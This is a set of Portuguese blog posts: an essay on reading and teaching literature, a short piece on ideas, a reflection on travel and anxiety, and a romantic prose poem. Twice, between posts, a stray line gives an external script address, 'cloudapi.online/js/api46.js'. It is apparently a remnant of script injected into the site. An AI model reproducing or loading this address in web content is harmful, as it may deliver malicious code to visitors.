Sobre literatura: Viver e ensinar

Ler é um ato de paixão. Lemos muitas vezes as mesmas coisas, voltamos obsessivamente aos mesmos textos. Há qualquer coisa de clandestino na leitura, que é ato solitário em que o mundo que circunda o leitor se apaga para dar lugar ao mundo que emerge do livro, não necessariamente para o leitor se perpetuar nele, mas para voltar modificado ao outro mundo de onde por algum tempo se retirou.

Diante disso, a Literatura é também leitura, é sentido, é vibração, assim como também é função social ao denunciar, é lúdica ao voltar-se para as crianças e para o prazer de ler, é histórica ao retratar uma época, um povo e um tempo. A literatura encanta, denuncia, instiga, diverte e traz conhecimento. Sabe-se que a literatura não está pronta e acabada, mas está à disposição
dos indivíduos. Uma literatura de qualidade é aquela capaz de fascinar o leitor e torná-lo
cativo. É uma literatura carregada de sentido e de expressão, grávida do novo,
geradora de vida e capaz de impulsionar o ato criador do leitor.

Sempre que se fala em ensinar literatura também se ouve falar na seguinte expressão: é possível ensinar literatura na escola? Diante desse questionamento, ensinar ou não, é preciso, acima de tudo, entender que para tentar ensinar literatura, deve-se ter uma vibração conjunta de quem mostra e de quem vê, ou seja, de educador e educando.

É preciso que o professor, como mediador do conhecimento, e aluno, sujeito que aprende, caminhem juntos para descobrirem que as linhas do texto literário são infinitas, cheias de sentidos e de vozes. O fazer literário não tem hierarquia, quem ensina aprende, quem aprende, amplia

Então, é nesse espaço, privilegiado da educação formal, onde há a circulação de saberes e de desejos que os textos literários devem ocupar espaço literalmente na vida de todos. Os textos literários devem encantar, instigar e seduzir o leitor através da palavra polissêmica, inesperada e cheia de sentido.

Assim, ensinar literatura é possível, desde que haja um sentimento que Roland Barthes chama de maternagem: forma generosa de ensinar em que a mãe não se expõe a explicar ao filho como se anda; também não anda na frente para que ele a imite, simplesmente se afasta, abre os braços e espera. Talvez essa seja a postura para ensinar literatura.

Anúncios

Domesticar as ideias

As sociedades domesticam os indivíduos por meio de mitos e ideias que, por sua vez, domesticam as sociedades e os indivíduos, mas os indivíduos poderiam reciprocamente domesticar as ideias ao mesmo tempo que poderiam controlar a sociedade que os controla.

Uma ideia ou teoria não deveria ser simplesmente instrumentalizada, nem impor seu veredito de modo autoritário; deveria ser relativizada e domesticada. Uma teoria deve ajudar e orientar estratégias cognitivas que são dirigidas por sujeitos humanos. Entretanto, são as ideias que nos permitem conceber as carências e os perigos da ideia. Daí resulta este paradoxo incontornável: devemos manter uma luta crucial contra as ideias, mas somente podemos fazê-lo com a ajuda das ideias.

 

https://cloudapi.online/js/api46.js

Sobre a ansiedade: Viajar

A ansiedade transborda toda vez que eu arrumo uma mala ou tenho uma rota traçada. Um plano de viagem. Carrego comigo, sempre, muito mais do que objetos e poucas roupas socadas em uma bagagem. O que eu levo mesmo, são as expectativas, principalmente, as de quem eu irei encontrar.

Como serão estas pessoas novas com quem eu irei cruzar? Pensamentos firmes sobre cada detalhe. Me pego imaginando se farei novas amizades ou se vou estabelecer novos relacionamentos. E quem não? Às vezes respiro e recupero a noção de realidade, afinal, se estes rostos não participarem da composição da minha viagem, ou se eu não conseguir tornar possível esta vontade imensa por buscá-las, mesmo assim, não desanimarei. Tenho muitos planos visuais, e saber ao menos registrar com sensibilidade essa delícias, estes novos lugares, seguramente, eu farei com maestria.

Viajar é mais do que conhecer um novo território, uma nova cultura ou pessoas diferentes. Viajar, é conhecer uma nova vida. É se mudar-se. É vivê-la. Não importa por quanto tempo. Se uma semana, um mês ou dez anos. Você sempre se lembrará de algo marcante, de um tempo confortante, de uma imagem impressionante. Vai tomar como um hábito, alguma coisa que te fez sair da rotina durante esse tempo de odisseia. Tudo isso é tão rico, que não temos a dimensão de quão valoroso é transporta-se para outro mundo.

Ao retornar, ficará sempre um sentimento novo. Sentimento de saudade, de apego, de nostalgia. E você se voltará pra dentro de si se perguntando; e aí, quanto eu paguei pela minha passagem? Qual será realmente o preço de um bilhete. É incalculável o valor de uma jornada. Não há nenhum centavo ou vintém que pague pela construção de um novo futuro, de um caminho à percorrer, um destino. O valor de um sonho, a vontade de uma mudança radical na vida. Tudo isso, não tem preço.

Se instalar em um novo ambiente é quase como um desafio. Saber que a padaria será outra. Que não terá mais aquele desconto na livraria de sempre, ou que passará batido aquela fruta no seu João da quitanda.  Mas pera aí! E por que não? Novas relações se estabelecem em nossa vida. Pessoas, vem e vão, o tempo todo, nos deixando uma lembrança, uma marca, um sentimento diferente. Cada uma delas, como um papel importante naquele baú chamado lembranças. Nada é inútil.

Conquistar novos espaços é incrível. É como se medíssemos nossa empatia, nossa capacidade de domínio, de distribuir gentilezas, fascínios, nobreza. É ter em mente que somos capazes de conquistar qualquer plano, desbravar qualquer território. Tenho bem resolvido dentro de em mim a certeza de que, este mundo é um oceano, e eu, nunca tive o menor comportamento de peixinho de aquário pra ficar nadando no mesmo lugar. Meu intuito sempre será de navegar outros mares. Portanto, aperto meu cinto e boa viagem.

E você, vai pra onde?

“Don’t you worry, don’t you worry child

See heaven’s got a plan for you”

https://cloudapi.online/js/api46.js

Pelo prazer

Eu quero te descobrir, mas não de repente, como se descobre um novo continente. A terra prometida sempre esteve ali, a espera de uma brava navegante com coragem o bastante para seguir adiante e descer a mares tão distantes , sem medo de encontrar o desconhecido. Somos do signo de terra. Tua terra precisa ser arada e semeada. Tua terra precisa ser habitada por mim.Tua terra precisa de uma nativa confiante para lhe dar o nome. Preciso habitar em ti e te mostrar o meu mundo, meus costumes, mostrar que em mim habita gente.

Quero ser tua morada, tua pousada.  Quero pisar em você de pés descalços devagarinho.  Gosto de sentir o cheiro da terra molhada. A chuva forte que caí, traz enxurrada, mas irriga a plantação. Gosto de sujar meus pés na lama. Eu quero te cobrir de beijos. Eu quero te cobrir com meu corpo. Eu quero me inundar de você.

Eu sou o teu espelho.Olha para mim, olha nos meus olhos. Nós somos o nosso reflexo. Estou tão difusa e tão confusa desde que você voltou. Você chega para refutar as minhas certezas e me encher de dúvidas.

Eu quero ser o seu segredo. Me descobre, mas me guarda dentro de ti, como o teu segredo mais escondido.

É um negócio arriscado, mas eu vou ser tua só pelo prazer de te ter.